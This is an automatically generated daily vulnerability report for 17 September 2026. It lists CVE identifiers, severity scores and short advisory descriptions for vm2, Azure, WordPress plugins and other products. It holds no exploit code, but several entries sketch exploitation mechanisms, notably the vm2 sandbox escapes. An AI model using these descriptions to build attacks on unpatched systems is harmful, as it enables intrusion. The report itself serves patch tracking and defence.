

Daily Vulnerability Report - 2026-09-17

Window (UTC): 2026-09-17T00:00 to 2026-09-18T00:00 | Sources: NVD, CISA KEV, EPSS, Vulnrichment, GHSA, OSV | Generated 2026-09-18 11:29:58 UTC

Total	New	Updated	KEV added	KEV	Critical	High	Medium	Unscored	Watchlist
1102	1065	37	0	1	69	195	133	689	22

New today - published in this report window

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-87886	New	7.8	HIGH	Yes		acronis:backup	Local privilege escalation due to insecure file permissions. The following products are affected: Acronis Backup plugin for cPanel & WHM (Linux) before build 1.9.3.1021, Acronis Backup extension for Plesk (Linux) before build 1.8.11.638, Acronis Backup plugin for DirectAdmin (Linux) before build 1.2.3.238.
CVE-2026-54734	New	10.0	CRIT				Prebid Server Java is the Java version of Prebid Server. Prior to 3.43.0, certain bidder adapters interpolate user-supplied parameters into outbound request URLs without using HttpUtil to validate the resulting domain or path segment. A malicious actor who can supply bid-request parameters can cause the server to send HTTP requests to unintended destinations, potentially rea...
CVE-2026-62104	New	10.0	CRIT				Unauthenticated Remote Code Execution (RCE) in Migratico Lite <= 2.6.8 versions.
CVE-2026-69399	New	10.0	CRIT				Azure Arc Elevation of Privilege Vulnerability
CVE-2026-69865	New	10.0	CRIT				Authorization bypass through user-controlled key in Microsoft Container Registry allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-70200	New	10.0	CRIT				Improper limitation of a pathname to a restricted directory ('path traversal') in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-83944	New	10.0	CRIT				Improper access control in Azure Logic Apps allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-85889	New	10.0	CRIT				Missing authentication for critical function in Azure AI Foundry allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-92937	New	10.0	CRIT				vm2 3.11.6 is vulnerable to a sandbox escape leading to remote code execution in the host Node.js process. The fix for GHSA-m283-3h24-438v is incomplete: the bridge gate at lib/bridge.js:1624 identity-checks only the direct call target when deciding whether to rebuild/sanitise a rejected host Promise value. Registering the rejection handler through Function.prototype.call or...
CVE-2026-92940	New	10.0	CRIT				vm2 versions 3.11.3 through 3.11.6 expose the host process's real https.globalAgent to sandboxed code when a NodeVM is explicitly configured to allow require('https'). The builtin loader wraps host modules in a read-only proxy, but method calls such as Agent.prototype.on() are forwarded to the underlying host object, so sandbox code can register a listener for the agent's 'f...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92941	New	10.0	CRIT				vm2 versions from 3.11.3 before 3.11.7 expose the host tls module to NodeVM sandbox code, allowing attackers to call <code>tls.setDefaultCACertificates()</code> and replace process-wide certificate authorities. Attackers with access to allowed <code>tls</code> and <code>url</code> builtins can use <code>URLSearchParams</code> to create host-realm arrays and manipulate the TLS trust store, enabling subsequent host HTTPS client...
CVE-2026-92946	New	10.0	CRIT				vm2 before 3.11.7 contains a remote code execution vulnerability when <code>require.external</code> is enabled without an explicit <code>require.root</code> that excludes <code>node_modules</code> . Sandboxed code can require vm2's own package, instantiate an unrestricted NodeVM instance, and execute arbitrary host OS commands via <code>child_process</code> .
CVE-2026-92947	New	10.0	CRIT				vm2 before 3.11.7 exposes Node's shared Buffer pool to sandboxed code, allowing disclosure of host memory used by <code>Buffer.from</code> , <code>Buffer.concat</code> , and related allocations. Sandboxed code can read and write to host-realm buffers by acquiring <code>ArrayBuffers</code> from small allocations, leading to sensitive data exposure and potential denial-of-service.
CVE-2026-92953	New	10.0	CRIT				vm2 versions from 3.11.0 before 3.11.8 fail to protect host <code>TypedArray</code> and <code>ArrayBuffer</code> prototypes from sandbox mutation. Attackers can use prototype-walking primitives to reach and modify host <code>Uint8Array.prototype</code> , <code>%TypedArray%.prototype</code> , and <code>ArrayBuffer.prototype</code> , causing host-created typed arrays to observe attacker-controlled properties after <code>VM.run()</code> returns.
CVE-2026-92955	New	10.0	CRIT				vm2 before 3.11.8 contains a sandbox escape vulnerability in NodeVM that allows attackers to access the host <code>__proto__</code> getter/setter through <code>console._stdout</code> and <code>console._stderr</code> . Attackers can overwrite <code>EventEmitter.prototype.emit</code> and trigger process events to execute code with process context, bypassing code generation restrictions.
CVE-2026-92956	New	10.0	CRIT				vm2 versions 3.10.1 through 3.11.6 contain a sandbox escape reachable from a default <code>`new VM()`</code> sandbox when running on Node.js 26. <code>WebAssembly.compileStreaming</code> and <code>WebAssembly.instantiateStreaming</code> can produce a raw host-realm Promise that rejects with a host-realm error object; by controlling <code>Symbol.species</code> via <code>Promise.prototype.finally</code> , sandbox code receives that raw host ...
CVE-2026-92960	New	10.0	CRIT				vm2 before 3.11.6 fails to restrict access to <code>os</code> and <code>dns</code> builtins under the builtin: <code>[*]</code> configuration, allowing sandbox code to read host process identity and network topology. Attackers can invoke <code>dns.setServers()</code> to hijack the host process DNS resolver globally, redirecting all subsequent host DNS queries through an attacker-controlled resolver.
CVE-2026-85885	New	9.9	CRIT				Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an authorized attacker to elevate privileges over a network.
CVE-2026-92938	New	9.9	CRIT				vm2 versions 3.11.3 through 3.11.6 expose Node.js's host <code>node:sqlite</code> module to code running in NodeVM when that builtin is permitted, either explicitly or through builtin: <code>[*]</code> . The module is wrapped with <code>vm.readonly()</code> , which prevents property assignment but leaves host-authority callables reachable; in addition, the resolver treats any request starting with <code>'node:'</code> as a co...
CVE-2026-92948	New	9.9	CRIT				vm2 versions <code>>= 3.9.6</code> and <code><= 3.11.6</code> are affected by a NodeVM builtin allowlist bypass that permits a sandbox escape on Node.js 24 and newer when the embedder explicitly allows the <code>node:test</code> builtin (e.g. <code>require: { builtin: ['node:test'] }</code>). On Node.js 24+, <code>module.builtinModules</code> exposes the scheme-only key <code>node:test</code> , which is not covered by vm2's family-based <code>DANGEROUS_BUILT...</code>

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-45140	New	9.8	CRIT			composer:chamilo/chamilo-lms	Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
CVE-2026-54460	New	9.8	CRIT				OpenReception's appointment booking software provides an end-to-end encrypted appointment booking platform. Prior to 1.1.1, POST /api/auth/passkeys accepts a request-body userId and attacker-supplied passkey without an authenticated session, does not call WebAuthnService.verifyRegistration, and does not bind enrollment to locals.user.id. An unauthenticated attacker who knows...
CVE-2026-54617	New	9.8	CRIT				GravitLauncher is an open-source Minecraft launcher based on sashok724's v3. Prior to 5.7.12, an unauthenticated remote actor can send a raw HTTP request target without a leading slash to the default LaunchServer file server on port 9274. FileServerHandler.channelRead0 in components/launchserver/src/main/java/pro/gravit/launchserver/socket/handlers/fileserver/FileServerHandl...
CVE-2026-54626	New	9.8	CRIT				SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. In 0.9.10 and earlier, the TGA_INDEXED_RLE path selected by image_type == 9 allocates an image buffer using the one-byte-per-pixel SAIL_PIXEL_FORMAT_BPP8_INDEXED format returned by tga_private_sail_pixel_format() in src/sail-codecs/tga/helpers.c, while sail_...
CVE-2026-54627	New	9.8	CRIT				SAIL is a cross-platform library for loading and saving images with support for animation, metadata, and ICC profiles. In 0.9.10 and earlier, psd_private_sail_pixel_format() in src/sail-codecs/psd/helpers.c resolves a one-channel PSD in Bitmap color mode to SAIL_PIXEL_FORMAT_BPP1_INDEXED without requiring the file depth to be one, so the pixel buffer uses one-bit rows while ...
CVE-2026-62101	New	9.8	CRIT				Unauthenticated Broken Authentication in EduAdmin Booking <= 5.4.2 versions.
CVE-2026-62108	New	9.8	CRIT				Unauthenticated Broken Authentication in Headless Single Sign On <= 1.7.0 versions.
CVE-2026-86707	New	9.8	CRIT				The Private Feed Key WordPress plugin through 0.1 does not verify that the key used to authenticate a feed request is one it issued, matching any stored user metadata value instead, which allows unauthenticated attackers to log in as any user, including administrators.
CVE-2026-86709	New	9.8	CRIT				The Pressengine WordPress plugin through 1.0 does not stop its login handler from issuing a session when authentication fails, allowing unauthenticated attackers to log in as any user, including administrators.
CVE-2026-86710	New	9.8	CRIT				The Login with QR WordPress plugin through 1.0.0 does not verify that the code used to log a user in is one it issued, matching any stored user metadata value instead, which allows unauthenticated attackers to log in as any user, including administrators.
CVE-2026-87796	New	9.8	CRIT				The Multi Uploader for Gravity Forms plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 1.1.9 via the move_file function. This is due to insufficient file type validation during chunked upload handling. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make rem...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90822	New	9.8	CRIT				FatPipe MPVPN, WARP, and IPVPN appliances running the end-of-life firmware version 10.1.2r60p100 contain an OS command injection vulnerability in the xtremed daemon. An unauthenticated remote attacker with access to the affected management interface can submit crafted input to the AuthFormServlet endpoint, causing authentication data to be processed by a shell and allowing a...
CVE-2026-90823	New	9.8	CRIT				FatPipe MPVPN, WARP, and IPVPN appliances running the end-of-life firmware version 10.1.2r60p100 contain a stack-based buffer overflow in /usr/sbin/auth_user_pass. An unauthenticated remote attacker with access to the affected management interface can submit a crafted authentication request that reaches an unchecked copy into a fixed-size stack buffer, potentially allowing a...
CVE-2026-92944	New	9.8	CRIT				vm2 versions 3.10.2 through 3.11.6 contain a sandbox escape vulnerability on Node.js 26 where Promise.prototype.finally() bypasses vm2's wrapper protections due to a stale PromiseThenLookupChain protector in V8 14.6. Attackers can exploit this by creating an async function that returns a Promise with an attacker-controlled constructor Symbol.species, allowing them to reach t...
CVE-2026-54053	New	9.6	CRIT				Many Notes is a Markdown note-taking web application designed for simplicity. Prior to 0.16.0, the ZIP vault import implemented in app/Actions/ProcessImportedVault.php accepts archive filenames containing parent-directory traversal segments. An authenticated user can write arbitrary files outside the importing user's vault and into other users' vaults, including overwriting ...
CVE-2026-54752	New	9.6	CRIT				NetBox Device Type Library is a collection of community-sourced device type definitions for import into NetBox. The validation test harness can deserialize pull-request-controlled tracked pickle cache files through pickle.load in the read_pickle_data function in tests/pickle_operations.py. An unauthenticated contributor can change USE_LOCAL_KNOWN_SLUGS in tests/test_configur...
CVE-2026-87701	New	9.6	CRIT				Improper neutralization of special elements in output used by a downstream component ('injection') in Azure Cosmos DB allows an authorized attacker to elevate privileges over a network.
CVE-2026-92934	New	9.5	CRIT				vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and ...
CVE-2026-92935	New	9.5	CRIT				vm2 is a sandbox for running untrusted Node.js code. In versions >= 3.11.4 and <= 3.11.6, the NodeVM constructor computes `hasRealRequireConfig` with `typeof requireOpts === 'object' && requireOpts !== null`, so an array-shaped `require` value (for example `require: []`) satisfies the guard that is meant to reject nesting without an explicit require configuration. `makeResol...
CVE-2026-54501	New	9.4	CRIT				Browsertrix is a high-fidelity, browser-based crawling service for web archiving that can be self-hosted or used through Webrecorder's hosted instance. From 1.15.0 until 1.22.8, Browsertrix improperly sanitizes Git URLs specified as Custom Behaviors, allowing command injection through /api/orgs/*/crawlconfigs/validate/custom-behavior. A user with crawler or administrator per...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54618	New	9.4	CRIT				Obsidian Web MCP is a secure remote MCP server for Obsidian vaults. Prior to 0.2.0, /oauth/authorize issues an authorization code without a login, consent, or session check, and /oauth/token can exchange that code for the static VAULT_MCP_TOKEN without authenticating a client. An unauthenticated remote caller who can reach the intended tunnel deployment can therefore call /m...
CVE-2026-92939	New	9.4	CRIT				vm2 3.11.3 through 3.11.6 exposes the host Node.js crypto module to a NodeVM sandbox when the crypto builtin is allowed. The module is presented via a recursive read-only proxy, but its callable exports still execute with host-process authority. Sandboxed JavaScript can therefore call crypto.setEngine() with a filesystem path to an attacker-supplied native library (for exampl...
CVE-2026-92951	New	9.4	CRIT				vm2 before 3.11.7 contains an incorrect authorization vulnerability in the external package allowlist check that uses non-exact substring matching instead of full package-name boundary validation. Attackers can bypass the allowlist by requiring a colliding package name that contains an allowlisted package substring, causing vm2 to load and execute unauthorized host packages ...
CVE-2026-92957	New	9.4	CRIT				vm2 through 3.11.6 does not normalize `node:`-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the `node:` prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as `new NodeVM({ requi...
CVE-2026-54237	New	9.3	CRIT				Wavelog is web-based amateur radio logging software. From 1.8 until 2.4.2, Wavelog exposes /install/ajax.php and /install/includes/interface_assets/triggers.php after installation without an installation lock or permission check. Unsantized input reaches write_config() and write_configfile() in install/includes/core/core_class.php, allowing a remote unauthenticated attacker...
CVE-2026-70009	New	9.3	CRIT				Improper limitation of a pathname to a restricted directory ('path traversal') in Azure Arc allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-86863	New	9.3	CRIT				pgAdmin 4's Webserver authentication source is intended to accept an identity asserted by the web server or reverse proxy in front of pgAdmin, delivered through the WSGI/CGI environment. WebserverAuthentication.get_user() read config.WEBSERVER_REMOTE_USER from request.environ and, when that returned nothing, fell back to reading the same name directly from the inbound HTTP r...
CVE-2026-92950	New	9.3	CRIT				vm2 before 3.11.7 contains a sandbox escape vulnerability in the CLI tool that allows attackers to execute arbitrary code in the host Node.js process. Attackers can supply a malicious script file to the vm2 CLI that uses require(__filename) to re-execute itself in the host realm, bypassing sandbox isolation and accessing host modules like fs and child_process.
CVE-2026-15688	New	9.2	CRIT				Incorrect Implementation of Authentication Algorithm Vulnerability in Mitsubishi Electric GX Works3 and Motion Control Setting allows a local attacker to successfully authenticate even with an invalid block password by executing the affected product and modifying part of the executable module in memory, and thereby may be able to view, tamper with, destroy, or delete control...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-79752	New	9.2	CRIT			composer:cakephp/cakephp, composer:cakephp/database	CakePHP is a rapid development framework for PHP. Prior to 4.5.12, 4.6.5, 5.1.9, 5.2.14, and 5.3.7, FunctionsBuilder::cast, FunctionsBuilder::extract, FunctionsBuilder::datePart, and FunctionsBuilder::dateAdd in src/Database/FunctionsBuilder.php accept user-controlled dataType, part, or unit values and incorporate them into generated SQL as unescaped structural fragments. An...
CVE-2026-92943	New	9.2	CRIT				Improper validation of certificate with host mismatch in the MQTT client TLS connection layer in AWS IoT Device SDK for Python 1.5.3 through 1.6.0 on Python 3.7 and later might allow an adversary-in-the-middle actor to impersonate the AWS IoT Core endpoint, read device telemetry, and inject arbitrary MQTT messages that the device processes as authentic, via a certificate iss...
CVE-2026-93393	New	9.2	CRIT				A heap-based buffer overflow exists in the TLS transport layer of the MongoDB C Driver when built with the Windows platform TLS backend. A remote endpoint that the client connects to, or an attacker able to impersonate or redirect the client's connection, can cause the driver to write attacker-supplied data outside the bounds of a heap allocation while processing incoming en...
CVE-2026-54670	New	9.1	CRIT				WeGIA is a web manager for charitable institutions. Prior to 3.8.5, the contribution request dispatcher in web/html/contribuicao/controller/control.php accepts attacker-controlled nomeClasse and metodo values without a complete controller and method allowlist, exempts sensitive ContribuicaoLogController operations from authentication, and constructs a controller include path...
CVE-2026-54767	New	9.1	CRIT				WeGIA is a web manager for charitable institutions. Prior to 3.8.5, web/html/socio/sistema/controller/deletar_socios.php exposes an unauthenticated GET endpoint whose chave parameter is checked only against a hardcoded chave_correta value embedded in the public source repository. A remote attacker who obtains that value can reach the endpoint's TRUNCATE TABLE operations for ...
CVE-2026-63472	New	9.1	CRIT			npm:@vendure/core	Vendure is an open-source headless commerce platform. Prior to 3.7.0, ExternalAuthenticationService.createCustomerAndUser in packages/core/src/service/helpers/external-authentication/external-authentication.service.ts selects an existing customer user by emailAddress and attaches a newly presented ExternalAuthenticationMethod without requiring verified to be true. In deploym...
CVE-2026-76949	New	9.1	CRIT				Authentication Bypass by Spoofing vulnerability in team-alembic ash_authentication allows an attacker who can plant a remember-me cookie in a victim's browser to replace that victim's authenticated session with one for the attacker's own account. AshAuthentication.Plug.Helpers.sign_in_using_remember_me/3 skips re-authenticating an already-signed-in visitor by checking the s...
CVE-2026-82761	New	9.1	CRIT				Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability in team-alembic AshAuthentication allows an attacker holding a leaked magic link to replay its single-use token and authenticate as the target subject. A magic link configured with single_use_token?, which is the default, is meant to be redeemable exactly once, but nothing serialises the token's validity check a...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85500	New	9.1	CRIT				Authentication Bypass by Primary Weakness vulnerability in team-alembic AshAuthentication allows an unconfirmed user to obtain a session, defeating a mandatory email confirmation requirement. AshAuthentication.Strategy.Password.Actions.check_user/2 decides whether the attribute named by require_confirmed_with is set using a bare is_nil(Map.get(user, value)). When that attri...
CVE-2026-86533	New	9.1	CRIT				Insufficient Session Expiration vulnerability in team-alembic AshAuthentication and AshAuthentication Phoenix allows a revoked session to remain fully authenticated. A resource configured with session_identifier :jti and require_token_presence_for_authentication? disabled stores its session value as <jti>:<subject>. The jti is there so that signing out can revoke that one s...
CVE-2026-88952	New	9.1	CRIT				Improper Authentication vulnerability in team-alembic AshAuthentication allows an attacker to be signed in as another user by linking an OAuth2 identity to an account that is not theirs. AshAuthentication.Strategy.OAuth2.UserResolver.resolve/3 matches an existing account using the register action's upsert_identity keys, then gates linking the incoming provider identity to i...
CVE-2026-91039	New	9.1	CRIT				Authentication Bypass by Spoofing vulnerability in team-alembic ash_authentication allows an attacker who operates one identity-provider connection of a dynamic_oidc strategy to be signed in as a local user established through a different connection. The strategy is meant to keep each connection in its own identity namespace by writing every UserIdentity row's strategy fiel...
CVE-2026-92860	New	9.1	CRIT				A security flaw has been discovered in rcourtman Pulse up to 6.0.4/6.1.0-rc.4. Affected by this issue is the function fmt.Sprintf of the file /api/security/quick-setup of the component Quick Security Setup Handler. The manipulation of the argument Username results in improper input validation. The attack may be performed from remote. Upgrading the affected component is advised.
CVE-2026-45143	New	9.0	CRIT				Chamilo LMS is an open-source learning management system. From 2.0.0 through at least 2.1.0, Chamilo LMS stores private Message.content without server-side sanitization and renders it as HTML in assets/vue/views/message/MessageShow.vue and public/main/template/default/message/view_message.html.twig. An authenticated low-privilege user, including a student, can directly addre...
CVE-2026-47252	New	9.0	CRIT				Anyquery is an SQL query engine built on top of SQLite. Prior to 0.4.5, authenticated users with INSERT or UPDATE access to affected macOS virtual tables can execute operating-system commands because the Chrome plugin and equivalent Brave, Edge, and Safari variants interpolate a SQL-controlled URL into AppleScript or JXA source passed to osascript. In plugins/chrome/tabs.go,...
CVE-2026-77903	New	9.0	CRIT				Authentication bypass by spoofing in Microsoft Dataverse allows an unauthorized attacker to elevate privileges over a network.
CVE-2026-88795	New	9.0	CRIT				The wpShopGermany IT-RECHT KANZLEI WordPress plugin before 2.4 does not generate its API authentication token securely, deriving it from data the requester controls and creating it as a side effect of the check that is supposed to validate it, allowing unauthenticated attackers to predict the token and use the access it grants to write arbitrary files, leading to remote code...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92952	New	8.9	HIGH				vm2 versions 3.11.4 through 3.11.6 incompletely filter Node.js registered internal symbols across the sandbox boundary. The extraction filters in lib/setup-sandbox.js and the cross-realm symbol checks and write traps in lib/bridge.js use a fixed list of known dangerous registered symbols that omits nodejs.stream.disturbed and nodejs.stream.errorred, which are exposed on host ...
CVE-2026-14850	New	8.8	HIGH				The password reset functionality is vulnerable to unauthorized account modification due to improper validation of the user_id parameter. An attacker can manipulate this predictable numeric identifier to reset passwords for arbitrary users without proving account ownership.
CVE-2026-15815	New	8.8	HIGH				Grafana OSS and Grafana Enterprise did not safely resolve symbolic links when extracting plugin archives. A crafted plugin archive can chain relative symbolic link entries to escape the plugin installation directory, writing arbitrary files and an executable backend binary outside that directory. The dropped executable runs with the privileges of the Grafana server process, ...
CVE-2026-25283	New	8.8	HIGH				Memory Corruption when copying unverified data from an external source exceeds the allocated buffer size.
CVE-2026-28326	New	8.8	HIGH				SolarWinds Access Rights Manager was reported to be affected by an unauthenticated remote code execution vulnerability. The issue stems from a hardcoded static key.
CVE-2026-54239	New	8.8	HIGH				Faust.js is a headless WordPress toolkit. Prior to 1.8.11, the FaustWP WordPress plugin authenticates only the ciphertext in its token envelope and excludes the 16-byte initialization vector from the HMAC in WPE\FaustWP\Auth\encrypt() and WPE\FaustWP\Auth\decrypt() in plugins/faustwp/includes/auth/functions.php. A logged-in non-administrator who obtains an authorization code...
CVE-2026-54504	New	8.8	HIGH				MCP Documentation Server is a local-first document management and semantic search server for AI coding agents. From 1.13.0 until 1.13.1, the automatically started Web UI in src/server.ts calls startWebServer in src/web-server.ts with START_WEB_UI enabled by default and WEB_PORT set to 3080. startWebServer uses app.listen(PORT) without a host, which binds the unauthenticated ...
CVE-2026-54519	New	8.8	HIGH				AI Agent Automation is a modular AI agent workflow automation platform with schedulers, tools, and observability. Prior to 0.9.1, backend/src/controllers/memory.controller.js authenticates requests but listMemories, deleteMemory, and clearAgentMemory use a caller-supplied agentId or memory_id without verifying through the related Agent that the record belongs to req.user. A...
CVE-2026-54612	New	8.8	HIGH				Vvweb is a powerful and easy to use CMS with page builder to build websites, blogs or ecommerce stores. From 1.0.0 until 1.0.8.5, saveGlobalElements() in admin/controller/editor/global-trait.php concatenates the attacker-controlled file portion of data-v-save-global to the active theme directory before loadHTMLFile() and file_put_contents() operate on it. An authenticated us...
CVE-2026-54671	New	8.8	HIGH				WeGIA is a web manager for charitable institutions. Prior to 3.8.5, WeGIA maps InternoControle to an empty resource array in web/control/control.php, and verificarPermissao in web/dao/MiddlewareDAO.php treats that empty array as unconditional access for every authenticated user. The methods in web/control/InternoControle.php, including listarUm, alterar, and excluir, accep...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-54916	New	8.8	HIGH				NetBox Device Type Library is a collection of community-sourced device type definitions for import into NetBox. The absence of tests/init.py and the lack of --import-mode=importlib cause pytest prepend import mode to place the tests directory at the front of sys.path during collection. An unauthenticated contributor can add a module such as tests/git.py that shadows GitPytho...
CVE-2026-77614	New	8.8	HIGH				Opencast is a free, open-source platform to support the management of educational audio and video content. Prior to versions 19.7 and 20.2, the default security configuration in etc/security/mh_default_org.xml accepts a client-selected JSESSIONID from the ;jsessionid= URL path parameter and does not replace it when the victim logs in. An unauthenticated attacker can send a c...
CVE-2026-78295	New	8.8	HIGH				Unauthenticated Cross Site Request Forgery (CSRF) in Xagio SEO <= 7.1.0.43 versions.
CVE-2026-85130	New	8.8	HIGH				The WPLP Cookie Consent WordPress plugin before 4.4.4 does not escape a value submitted through a public endpoint for the JavaScript context it is later output in on an administrative screen, allowing unauthenticated users to run arbitrary JavaScript in the session of an administrator who interacts with the logged entry. Only multisite installations are affected.
CVE-2026-86801	New	8.8	HIGH				The To Do List Member WordPress plugin from 1.4 through 1.6 ships a file upload endpoint that does not load WordPress and therefore applies no authentication, capability or nonce check of any kind, and validates only the name of an uploaded file rather than its content, allowing unauthenticated users to store active content served from the site's own origin, and to list and ...
CVE-2026-87786	New	8.8	HIGH				The Dewa Kirim WordPress plugin through 1.0.0 does not escape delivery coordinates submitted at checkout before outputting them inside an inline script, allowing unauthenticated users to store JavaScript that runs in the session of an administrator who later opens the order.
CVE-2026-88792	New	8.8	HIGH				The Dictionary WordPress plugin through 1.0 does not have authorisation, sanitisation or escaping in place when adding or updating dictionary entries, allowing unauthenticated users to store arbitrary web scripts which will execute when a user views an affected entry.
CVE-2026-88904	New	8.8	HIGH				The PuppyFW WordPress plugin through 0.4.4 does not have proper authorisation on one of its REST routes, which tests the caller against a capability taken from the request itself, allowing any authenticated user, including subscribers, to add, modify and delete arbitrary blog options and thereby escalate their privileges.
CVE-2026-92918	New	8.8	HIGH				admin3 through 3.0.0 persists user session tokens in the audit log event body when publishing UserLoggedIn domain events. Attackers with log:view permission can read the JSON response from the GET /logs endpoint to harvest session tokens and replay them as bearer credentials for full user access.
CVE-2026-92970	New	8.8	HIGH				HUBzero CMS through 2.2.32 contains a path traversal vulnerability in project file upload handlers that allows authenticated project members to write arbitrary files outside the project repository. Attackers can supply traversal sequences in upload parameters to write files to attacker-chosen paths with web server privileges, potentially enabling code execution.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92972	New	8.8	HIGH				SGLang through 0.5.19 in prefill/decode disaggregation mode contains an unauthenticated PUT /route endpoint on the prefill bootstrap service that allows attackers to poison the KV transfer routing table. Attackers can supply arbitrary rank_ip and rank_port values to redirect decode workers to attacker-controlled endpoints, causing denial of service or disclosure of KV transf...
CVE-2026-52836	New	8.7	HIGH				OpenDDS is an open source C++ implementation of the Object Management Group (OMG) Data Distribution Service (DDS). Prior to 3.34.0, a network attacker can crash a reachable OpenDDS participant by sending a malformed RTPS UDP submessage whose crafted length or sequence-number state causes dds/DCPS/transport/rtps_udp/RtpsUdpReceiveStrategy.cpp in RtpsUdpReceiveStrategy::handle...
CVE-2026-54343	New	8.7	HIGH				Frappe Learning Management System (LMS) is a learning system that helps users structure their content. Prior to version 2.52.1, a remote attacker can request a traversal path handled by SCORMRenderer.render in lms/page_renderers.py. The renderer constructs and opens a server-side path without first confirming that its real path remains within public/scorm, allowing files out...
CVE-2026-54571	New	8.7	HIGH				ESPAsyncWebServer is an asynchronous HTTP and WebSocket server library for ESP32, ESP8266, RP2040 and RP2350. Prior to 3.11.1, the multipart/form-data parser in src/WebRequest.cpp stores _boundaryPosition as an 8-bit value while _parseMultipartPostByte processes the boundary. A remote request containing an exactly 256-byte multipart boundary wraps _boundaryPosition from 255 ...
CVE-2026-63459	New	8.7	HIGH			npm:@vendure/dashboard	Vendure is an open-source headless commerce platform. Prior to 3.6.5, RichTextDescriptionCell in packages/dashboard/src/lib/components/shared/table-cell/order-table-cell-components.tsx attempts to strip markup by assigning an administrator-controlled description to a live element's innerHTML and then reading textContent. Active resource markup can execute an event handler du...
CVE-2026-69197	New	8.7	HIGH			nuget:Umbraco.Cms	Umbraco is an ASP.NET CMS. Prior to 13.15.1, 17.5.3, and 18.0.2, the Content Delivery API applies member and Public Access checks to the directly requested node but not to referenced nodes serialized through Content Picker or Multi-Node Tree Picker properties, including pickers nested in Block List, Block Grid, or Rich Text Editor blocks. When DeliveryApi:PublicAccess is ena...
CVE-2026-77615	New	8.7	HIGH				Paella Player is a set of libraries to create a multi stream video player. Prior to Paulla Player 2.12.11 (as used in Opencast prior to 19.7 and 20.2), there is a potential XSS attack though closed captions cue text. This vulnerability is fixed in 2.12.11.
CVE-2026-86864	New	8.7	HIGH				pgAdmin 4's Backup tool appended the client-supplied 'database' field from the /backup/job/<sid>/object request to the pg_dump argument vector as a bare trailing positional argument, without validation. Because pg_dump parses its options with getopt_long, which permutes arguments, a value beginning with a dash was interpreted as an option rather than as a database name. A va...
CVE-2026-89036	New	8.7	HIGH				Appwrite before 2.0.0 contains an argument injection vulnerability that allows authenticated users with functions.write or sites.write permissions to execute arbitrary commands by injecting TAB characters into the providerRootDirectory parameter used to construct GNU tar commands. The application uses escapeshellcmd instead of escapeshellarg and fails to quote the parameter,...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89418	New	8.7	HIGH				google-protobuf contains an unbounded recursion when parsing unknown protobuf group fields. An attacker can send a small crafted payload of deeply nested START_GROUP wire bytes to any Node.js service that calls the generated deserializeBinary() API, causing a RangeError: Maximum call stack size exceeded and crashing the process. No authentication or prior knowledge of the sc...
CVE-2026-92971	New	8.7	HIGH				InternLM LMDeploy through 0.17.0 contains a reachable assertion vulnerability in the DistServe decode migration loop that allows unauthenticated attackers to terminate the inference engine. Attackers can submit a migration_request with an empty remote_block_ids list to trigger an AssertionError that crashes the engine loop and causes subsequent inference requests to fail.
CVE-2026-92987	New	8.7	HIGH				roxmltree through 0.21.1 performs quadratic-time attribute and namespace validation during XML parsing without limits on attribute count. Attackers can craft XML documents with tens of thousands of attributes on a single element to consume excessive CPU time and cause denial of service.
CVE-2026-19477	New	8.6	HIGH				There is stack-based buffer overflow vulnerability recently discovered in MCC Universal Library for Linux (uldaq). This may result in information disclosure or arbitrary code execution. This vulnerability affects MCC Universal Library for Linux (uldaq) v1.2.1 and prior versions.
CVE-2026-68791	New	8.6	HIGH				Incorrect authorization in Azure Machine Learning allows an unauthorized attacker to disclose information over a network.
CVE-2026-87963	New	8.6	HIGH				The Yo WordPress plugin from 1.1 through 1.3.1 does not sanitize or parameterize the username request parameter before using it in a SQL query, and reads it before WordPress applies its request escaping, allowing unauthenticated attackers to perform SQL injection and read arbitrary database contents including administrator password hashes.
CVE-2026-92914	New	8.6	HIGH				AVideo LoginControl contains an authentication bypass vulnerability in the PGP second factor verification that compares challenge responses using loose equality against an uninitialized session variable. Attackers with a victim's password can bypass the second factor by sending a parameter-less GET request to verifyChallenge.json.php, which evaluates null == null and marks a...
CVE-2026-92954	New	8.6	HIGH				vm2 is a sandbox library for running untrusted JavaScript in Node.js. In versions >= 3.10.0 and <= 3.11.7, Promises returned from the host realm into the sandbox are not marked as handled at the bridge boundary; only Promises created inside the sandbox are wrapped with a rejection-swallowing handler (lib/setup-sandbox.js), and the bridge only installs host-side rejection san...
